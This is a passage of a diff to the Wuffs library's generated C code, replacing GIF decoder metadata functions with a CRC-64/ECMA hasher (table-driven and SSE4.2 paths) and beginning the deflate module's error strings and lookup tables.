(self->private_impl.f_metadata_fourcc == 1481461792u) { -- v_chunk_length += 1u; -- } else { -- iop_a_src += 1u; -- } -- self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add(wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))), v_chunk_length); -- if (a_minfo != NULL) { -- wuffs_base__more_information__set(a_minfo, -- 3u, -- self->private_impl.f_metadata_fourcc, -- 0u, -- wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))), -- self->private_impl.f_metadata_io_position); -- } -- status = wuffs_base__make_status(wuffs_base__suspension__even_more_information); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -+const wuffs_base__hasher_u64__func_ptrs -+wuffs_crc64__ecma_hasher__func_ptrs_for__wuffs_base__hasher_u64 = { -+ (uint64_t(*)(const void*))(&wuffs_crc64__ecma_hasher__checksum_u64), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_crc64__ecma_hasher__get_quirk), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_crc64__ecma_hasher__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ wuffs_base__slice_u8))(&wuffs_crc64__ecma_hasher__update), -+ (uint64_t(*)(void*, -+ wuffs_base__slice_u8))(&wuffs_crc64__ecma_hasher__update_u64), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_crc64__ecma_hasher__initialize( -+ wuffs_crc64__ecma_hasher* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); - } -- if (a_minfo != NULL) { -- wuffs_base__more_information__set(a_minfo, -- 3u, -- self->private_impl.f_metadata_fourcc, -- 0u, -- self->private_impl.f_metadata_io_position, -- self->private_impl.f_metadata_io_position); -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); - } -- self->private_impl.f_call_sequence &= 239u; -- self->private_impl.f_metadata_fourcc = 0u; -- self->private_impl.f_metadata_io_position = 0u; -- status = wuffs_base__make_status(NULL); -- goto ok; -- -- ok: -- self->private_impl.p_do_tell_me_more[0] = 0; -- goto exit; - } - -- goto suspend; -- suspend: -- self->private_impl.p_do_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.choosy_up = &wuffs_crc64__ecma_hasher__up__choosy_default; - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__hasher_u64.vtable_name = -+ wuffs_base__hasher_u64__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__hasher_u64.function_pointers = -+ (const void*)(&wuffs_crc64__ecma_hasher__func_ptrs_for__wuffs_base__hasher_u64); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_crc64__ecma_hasher* -+wuffs_crc64__ecma_hasher__alloc(void) { -+ wuffs_crc64__ecma_hasher* x = -+ (wuffs_crc64__ecma_hasher*)(calloc(1, sizeof(wuffs_crc64__ecma_hasher))); -+ if (!x) { -+ return NULL; - } -+ if (wuffs_crc64__ecma_hasher__initialize( -+ x, sizeof(wuffs_crc64__ecma_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} - -- return status; -+size_t -+sizeof__wuffs_crc64__ecma_hasher(void) { -+ return sizeof(wuffs_crc64__ecma_hasher); - } - --// -------- func gif.decoder.num_animation_loops -+// ---------------- Function Implementations -+ -+// -------- func crc64.ecma_hasher.get_quirk - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_gif__decoder__num_animation_loops( -- const wuffs_gif__decoder* self) { -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_crc64__ecma_hasher__get_quirk( -+ const wuffs_crc64__ecma_hasher* self, -+ uint32_t a_key) { - if (!self) { - return 0; - } -@@ -37136,38 +37965,134 @@ wuffs_gif__decoder__num_animation_loops( - return 0; - } - -- if (self->private_impl.f_seen_num_animation_loops_value) { -- return self->private_impl.f_num_animation_loops_value; -- } -- if (self->private_impl.f_num_decoded_frame_configs_value > 1u) { -- return 1u; -- } - return 0u; - } - --// -------- func gif.decoder.num_decoded_frame_configs -+// -------- func crc64.ecma_hasher.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_crc64__ecma_hasher__set_quirk( -+ wuffs_crc64__ecma_hasher* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func crc64.ecma_hasher.update -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_crc64__ecma_hasher__update( -+ wuffs_crc64__ecma_hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ if (!self) { -+ return wuffs_base__make_empty_struct(); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_empty_struct(); -+ } -+ -+ if (self->private_impl.f_state == 0u) { -+ self->private_impl.choosy_up = ( -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_crc64__ecma_hasher__up_x86_sse42 : -+#endif -+ self->private_impl.choosy_up); -+ } -+ wuffs_crc64__ecma_hasher__up(self, a_x); -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func crc64.ecma_hasher.update_u64 - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_gif__decoder__num_decoded_frame_configs( -- const wuffs_gif__decoder* self) { -+wuffs_crc64__ecma_hasher__update_u64( -+ wuffs_crc64__ecma_hasher* self, -+ wuffs_base__slice_u8 a_x) { - if (!self) { - return 0; - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { - return 0; - } - -- return self->private_impl.f_num_decoded_frame_configs_value; -+ wuffs_crc64__ecma_hasher__update(self, a_x); -+ return wuffs_crc64__ecma_hasher__checksum_u64(self); - } - --// -------- func gif.decoder.num_decoded_frames -+// -------- func crc64.ecma_hasher.up -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_crc64__ecma_hasher__up( -+ wuffs_crc64__ecma_hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ return (*self->private_impl.choosy_up)(self, a_x); -+} -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_crc64__ecma_hasher__up__choosy_default( -+ wuffs_crc64__ecma_hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ uint64_t v_s = 0; -+ wuffs_base__slice_u8 v_p = {0}; -+ -+ v_s = (18446744073709551615u ^ self->private_impl.f_state); -+ { -+ wuffs_base__slice_u8 i_slice_p = a_x; -+ v_p.ptr = i_slice_p.ptr; -+ v_p.len = 8; -+ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8)); -+ while (v_p.ptr < i_end0_p) { -+ v_s ^= ((((uint64_t)(v_p.ptr[0u])) << 0u) | -+ (((uint64_t)(v_p.ptr[1u])) << 8u) | -+ (((uint64_t)(v_p.ptr[2u])) << 16u) | -+ (((uint64_t)(v_p.ptr[3u])) << 24u) | -+ (((uint64_t)(v_p.ptr[4u])) << 32u) | -+ (((uint64_t)(v_p.ptr[5u])) << 40u) | -+ (((uint64_t)(v_p.ptr[6u])) << 48u) | -+ (((uint64_t)(v_p.ptr[7u])) << 56u)); -+ v_s = (WUFFS_CRC64__ECMA_TABLE[0u][(255u & (v_s >> 56u))] ^ -+ WUFFS_CRC64__ECMA_TABLE[1u][(255u & (v_s >> 48u))] ^ -+ WUFFS_CRC64__ECMA_TABLE[2u][(255u & (v_s >> 40u))] ^ -+ WUFFS_CRC64__ECMA_TABLE[3u][(255u & (v_s >> 32u))] ^ -+ WUFFS_CRC64__ECMA_TABLE[4u][(255u & (v_s >> 24u))] ^ -+ WUFFS_CRC64__ECMA_TABLE[5u][(255u & (v_s >> 16u))] ^ -+ WUFFS_CRC64__ECMA_TABLE[6u][(255u & (v_s >> 8u))] ^ -+ WUFFS_CRC64__ECMA_TABLE[7u][(255u & (v_s >> 0u))]); -+ v_p.ptr += 8; -+ } -+ v_p.len = 1; -+ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); -+ while (v_p.ptr < i_end1_p) { -+ v_s = (WUFFS_CRC64__ECMA_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ v_p.ptr[0u]))] ^ (v_s >> 8u)); -+ v_p.ptr += 1; -+ } -+ v_p.len = 0; -+ } -+ self->private_impl.f_state = (18446744073709551615u ^ v_s); -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func crc64.ecma_hasher.checksum_u64 - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_gif__decoder__num_decoded_frames( -- const wuffs_gif__decoder* self) { -+wuffs_crc64__ecma_hasher__checksum_u64( -+ const wuffs_crc64__ecma_hasher* self) { - if (!self) { - return 0; - } -@@ -37176,72 +38101,473 @@ wuffs_gif__decoder__num_decoded_frames( - return 0; - } - -- return self->private_impl.f_num_decoded_frames_value; -+ return self->private_impl.f_state; - } - --// -------- func gif.decoder.frame_dirty_rect -+// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 -+// -------- func crc64.ecma_hasher.up_x86_sse42 - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 --wuffs_gif__decoder__frame_dirty_rect( -- const wuffs_gif__decoder* self) { -+static wuffs_base__empty_struct -+wuffs_crc64__ecma_hasher__up_x86_sse42( -+ wuffs_crc64__ecma_hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ uint64_t v_s = 0; -+ wuffs_base__slice_u8 v_p = {0}; -+ uint8_t v_buf[48] = {0}; -+ __m128i v_xa = {0}; -+ __m128i v_xb = {0}; -+ __m128i v_xc = {0}; -+ __m128i v_xd = {0}; -+ __m128i v_xe = {0}; -+ __m128i v_xf = {0}; -+ __m128i v_xg = {0}; -+ __m128i v_xh = {0}; -+ __m128i v_mu1 = {0}; -+ __m128i v_mu2 = {0}; -+ __m128i v_mu4 = {0}; -+ __m128i v_mu8 = {0}; -+ __m128i v_mupx = {0}; -+ -+ v_s = (18446744073709551615u ^ self->private_impl.f_state); -+ while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { -+ v_s = (WUFFS_CRC64__ECMA_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ a_x.ptr[0u]))] ^ (v_s >> 8u)); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); -+ } -+ do { -+ do { -+ if (((uint64_t)(a_x.len)) >= 128u) { -+ } else if (((uint64_t)(a_x.len)) >= 64u) { -+ v_xa = _mm_xor_si128(_mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)), _mm_cvtsi64_si128((int64_t)(v_s))); -+ v_xb = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); -+ v_xc = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); -+ v_xd = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 64u); -+ break; -+ } else if (((uint64_t)(a_x.len)) >= 32u) { -+ v_xa = _mm_xor_si128(_mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)), _mm_cvtsi64_si128((int64_t)(v_s))); -+ v_xb = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 32u); -+ goto label__chain2__break; -+ } else { -+ { -+ wuffs_base__slice_u8 i_slice_p = a_x; -+ v_p.ptr = i_slice_p.ptr; -+ v_p.len = 1; -+ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); -+ while (v_p.ptr < i_end0_p) { -+ v_s = (WUFFS_CRC64__ECMA_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ v_p.ptr[0u]))] ^ (v_s >> 8u)); -+ v_p.ptr += 1; -+ } -+ v_p.len = 0; -+ } -+ self->private_impl.f_state = (18446744073709551615u ^ v_s); -+ return wuffs_base__make_empty_struct(); -+ } -+ v_xa = _mm_xor_si128(_mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)), _mm_cvtsi64_si128((int64_t)(v_s))); -+ v_xb = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); -+ v_xc = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); -+ v_xd = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); -+ v_xe = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 64u)); -+ v_xf = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 80u)); -+ v_xg = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 96u)); -+ v_xh = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 112u)); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 128u); -+ v_mu8 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD8)); -+ while (((uint64_t)(a_x.len)) >= 128u) { -+ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); -+ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u))); -+ v_xc = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xc, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xc, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u))); -+ v_xd = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xd, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xd, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u))); -+ v_xe = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xe, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xe, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 64u))); -+ v_xf = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xf, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xf, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 80u))); -+ v_xg = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xg, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xg, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 96u))); -+ v_xh = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xh, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xh, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 112u))); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 128u); -+ } -+ v_mu4 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD4)); -+ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu4, (int32_t)(17u))), v_xe); -+ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu4, (int32_t)(17u))), v_xf); -+ v_xc = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xc, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xc, v_mu4, (int32_t)(17u))), v_xg); -+ v_xd = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xd, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xd, v_mu4, (int32_t)(17u))), v_xh); -+ if (((uint64_t)(a_x.len)) > 64u) { -+ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu4, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); -+ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu4, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u))); -+ v_xc = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xc, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xc, v_mu4, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u))); -+ v_xd = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xd, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xd, v_mu4, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u))); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 64u); -+ } -+ } while (0); -+ v_mu2 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD2)); -+ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(17u))), v_xc); -+ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu2, (int32_t)(17u))), v_xd); -+ if (((uint64_t)(a_x.len)) > 32u) { -+ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); -+ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu2, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u))); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 32u); -+ } -+ } while (0); -+ label__chain2__break:; -+ v_mu1 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD1)); -+ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu1, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu1, (int32_t)(17u))), v_xb); -+ if (((uint64_t)(a_x.len)) > 24u) { -+ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu1, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu1, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 16u); -+ if (((uint64_t)(a_x.len)) > 24u) { -+ return wuffs_base__make_empty_struct(); -+ } -+ } -+ _mm_storeu_si128((__m128i*)(void*)(v_buf + (24u - ((uint64_t)(a_x.len)))), v_xa); -+ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(v_buf, ((24u - ((uint64_t)(a_x.len))) + 16u), 48), a_x); -+ v_mu2 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD2)); -+ v_xa = _mm_lddqu_si128((const __m128i*)(const void*)(v_buf + 0u)); -+ v_xb = _mm_lddqu_si128((const __m128i*)(const void*)(v_buf + 16u)); -+ v_xc = _mm_lddqu_si128((const __m128i*)(const void*)(v_buf + 32u)); -+ v_xd = _mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(17u))); -+ v_xe = _mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu1, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu1, (int32_t)(17u))); -+ v_xa = _mm_xor_si128(v_xd, _mm_xor_si128(v_xe, v_xc)); -+ v_mupx = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_MUPX)); -+ v_xb = _mm_clmulepi64_si128(v_xa, v_mupx, (int32_t)(0u)); -+ v_xc = _mm_clmulepi64_si128(v_xb, v_mupx, (int32_t)(16u)); -+ v_s = ((uint64_t)(_mm_extract_epi64(_mm_xor_si128(_mm_xor_si128(v_xc, _mm_slli_si128(v_xb, (int32_t)(8u))), v_xa), (int32_t)(1u)))); -+ self->private_impl.f_state = (18446744073709551615u ^ v_s); -+ return wuffs_base__make_empty_struct(); -+} -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC64) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_deflate__error__bad_huffman_code_over_subscribed[] = "#deflate: bad Huffman code (over-subscribed)"; -+const char wuffs_deflate__error__bad_huffman_code_under_subscribed[] = "#deflate: bad Huffman code (under-subscribed)"; -+const char wuffs_deflate__error__bad_huffman_code_length_count[] = "#deflate: bad Huffman code length count"; -+const char wuffs_deflate__error__bad_huffman_code_length_repetition[] = "#deflate: bad Huffman code length repetition"; -+const char wuffs_deflate__error__bad_huffman_code[] = "#deflate: bad Huffman code"; -+const char wuffs_deflate__error__bad_huffman_minimum_code_length[] = "#deflate: bad Huffman minimum code length"; -+const char wuffs_deflate__error__bad_block[] = "#deflate: bad block"; -+const char wuffs_deflate__error__bad_distance[] = "#deflate: bad distance"; -+const char wuffs_deflate__error__bad_distance_code_count[] = "#deflate: bad distance code count"; -+const char wuffs_deflate__error__bad_literal_length_code_count[] = "#deflate: bad literal/length code count"; -+const char wuffs_deflate__error__inconsistent_stored_block_length[] = "#deflate: inconsistent stored block length"; -+const char wuffs_deflate__error__missing_end_of_block_code[] = "#deflate: missing end-of-block code"; -+const char wuffs_deflate__error__no_huffman_codes[] = "#deflate: no Huffman codes"; -+const char wuffs_deflate__error__truncated_input[] = "#deflate: truncated input"; -+const char wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state[] = "#deflate: internal error: inconsistent Huffman decoder state"; -+const char wuffs_deflate__error__internal_error_inconsistent_i_o[] = "#deflate: internal error: inconsistent I/O"; -+const char wuffs_deflate__error__internal_error_inconsistent_distance[] = "#deflate: internal error: inconsistent distance"; -+const char wuffs_deflate__error__internal_error_inconsistent_n_bits[] = "#deflate: internal error: inconsistent n_bits"; -+ -+// ---------------- Private Consts -+ -+static const uint8_t -+WUFFS_DEFLATE__CODE_ORDER[19] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 16u, 17u, 18u, 0u, 8u, 7u, 9u, 6u, -+ 10u, 5u, 11u, 4u, 12u, 3u, 13u, 2u, -+ 14u, 1u, 15u, -+}; -+ -+static const uint8_t -+WUFFS_DEFLATE__REVERSE8[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 128u, 64u, 192u, 32u, 160u, 96u, 224u, -+ 16u, 144u, 80u, 208u, 48u, 176u, 112u, 240u, -+ 8u, 136u, 72u, 200u, 40u, 168u, 104u, 232u, -+ 24u, 152u, 88u, 216u, 56u, 184u, 120u, 248u, -+ 4u, 132u, 68u, 196u, 36u, 164u, 100u, 228u, -+ 20u, 148u, 84u, 212u, 52u, 180u, 116u, 244u, -+ 12u, 140u, 76u, 204u, 44u, 172u, 108u, 236u, -+ 28u, 156u, 92u, 220u, 60u, 188u, 124u, 252u, -+ 2u, 130u, 66u, 194u, 34u, 162u, 98u, 226u, -+ 18u, 146u, 82u, 210u, 50u, 178u, 114u, 242u, -+ 10u, 138u, 74u, 202u, 42u, 170u, 106u, 234u, -+ 26u, 154u, 90u, 218u, 58u, 186u, 122u, 250u, -+ 6u, 134u, 70u, 198u, 38u, 166u, 102u, 230u, -+ 22u, 150u, 86u, 214u, 54u, 182u, 118u, 246u, -+ 14u, 142u, 78u, 206u, 46u, 174u, 110u, 238u, -+ 30u, 158u, 94u, 222u, 62u, 190u, 126u, 254u, -+ 1u, 129u, 65u, 193u, 33u, 161u, 97u, 225u, -+ 17u, 145u, 81u, 209u, 49u, 177u, 113u, 241u, -+ 9u, 137u, 73u, 201u, 41u, 169u, 105u, 233u, -+ 25u, 153u, 89u, 217u, 57u, 185u, 121u, 249u, -+ 5u, 133u, 69u, 197u, 37u, 165u, 101u, 229u, -+ 21u, 149u, 85u, 213u, 53u, 181u, 117u, 245u, -+ 13u, 141u, 77u, 205u, 45u, 173u, 109u, 237u, -+ 29u, 157u, 93u, 221u, 61u, 189u, 125u, 253u, -+ 3u, 131u, 67u, 195u, 35u, 163u, 99u, 227u, -+ 19u, 147u, 83u, 211u, 51u, 179u, 115u, 243u, -+ 11u, 139u, 75u, 203u, 43u, 171u, 107u, 235u, -+ 27u, 155u, 91u, 219u, 59u, 187u, 123u, 251u, -+ 7u, 135u, 71u, 199u, 39u, 167u, 103u, 231u, -+ 23u, 151u, 87u, 215u, 55u, 183u, 119u, 247u, -+ 15u, 143u, 79u, 207u, 47u, 175u, 111u, 239u, -+ 31u, 159u, 95u, 223u, 63u, 191u, 127u, 255u, -+}; -+ -+static const uint32_t -+WUFFS_DEFLATE__LCODE_MAGIC_NUMBERS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 1073741824u, 1073742080u, 1073742336u, 1073742592u, 1073742848u, 1073743104u, 1073743360u, 1073743616u, -+ 1073743888u, 1073744400u, 1073744912u, 1073745424u, 1073745952u, 1073746976u, 1073748000u, 1073749024u, -+ 1073750064u, 1073752112u, 1073754160u, 1073756208u, 1073758272u, 1073762368u, 1073766464u, 1073770560u, -+ 1073774672u, 1073782864u, 1073791056u, 1073799248u, 1073807104u, 134217728u, 134217728u, 134217728u, -+}; -+ -+static const uint32_t -+WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[32] 